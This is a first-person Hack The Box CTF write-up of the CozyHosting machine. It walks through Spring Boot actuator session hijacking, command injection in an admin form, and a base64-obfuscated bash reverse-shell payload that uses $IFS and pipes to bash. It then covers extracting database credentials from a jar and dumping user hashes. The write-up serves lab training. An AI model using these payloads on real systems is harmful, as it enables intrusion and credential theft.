Hack The Box - CozyHosting Writeup

CozyHosting is an easy Hack The Box challenge. Here's how I pwned both the User and System.

Scanning and enumeration

I started with nmap to gather information about the target. The scan showed a website running on it.

To visit the website, we added its domain name to our hosts file and then opened the site.

We checked the site and its source code but found nothing useful. DirBuster and Gobuster were too slow for directory scanning, so we switched to Dirsearch and found several directories.

One directory, /actuator, stood out. Visiting it returned an error, and a quick Google search pointed to Spring Boot.

Most of the /actuator/ endpoints weren't useful, except for /actuator/sessions, which looked interesting.

Since we had a login page, I checked the cookies and found one. Replacing the cookie with one that belongs to kanderson gave access to the /admin page.

Exploitation

The admin page wasn't very interesting, except for one form.

We tested different inputs and found that the hostname must be an IP address, so we used 127.0.0.1. For the username field, regular input caused a "Hostkey verification" error, but special characters like & and ; triggered a different error.

This suggested a Command Injection vulnerability, likely in a backend SSH command. We moved to BurpSuite for easier testing and used PayloadAllTheThings (opens in a new tab) to help craft a reverse shell payload. We also used revshells (opens in a new tab) to generate it. To make the payload compatible (opens in a new tab) for sending, we encoded it in base64. The initial payload looked like this:

bash

;c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNDEvNDQ0NCAwPiYx|base64 -d;

The semicolons allow multiple commands to run. When we sent it, whitespace caused an error, so we used $IFS (which represents a space in bash). The payload was still interpreted as a command instead of a string, so we added echo:

bash

;echo$IFS"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNDEvNDQ0NCAwPiYx"|base64$IFS-d;

We got no connection until we added |bash at the end to execute the decoded command:

bash

;echo$IFS"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNDEvNDQ0NCAwPiYx"|base64$IFS-d|bash;

With a netcat listener running, we got a shell.

Lateral movement

With shell access, we started looking for a privilege escalation path. This user couldn't run sudo, linPEAS found nothing useful, and we couldn't access the "josh" user's home directory. In /app, however, we found a Java .jar file and used a simple Python HTTP server to download it to our local machine.

A quick search led us to a website that could open and decompile .jar files. Most of the contents gave us nothing until we opened application.properties, which contained PostgreSQL database credentials.

Connecting remotely with psql didn't work, likely because remote access was disabled, so we connected locally through our reverse shell.

Once connected, we accessed the "cozyhosting" database and dumped its tables. A SELECT * query on the "users" table showed entries for "kanderson" and "admin".

To move forward, we need to identify and crack the password hashes. Using hashes.com (opens in a new tab), we identify the hash type as Blowfish. The site also has the plaintext password for the admin user, so we don't need to crack it ourselves.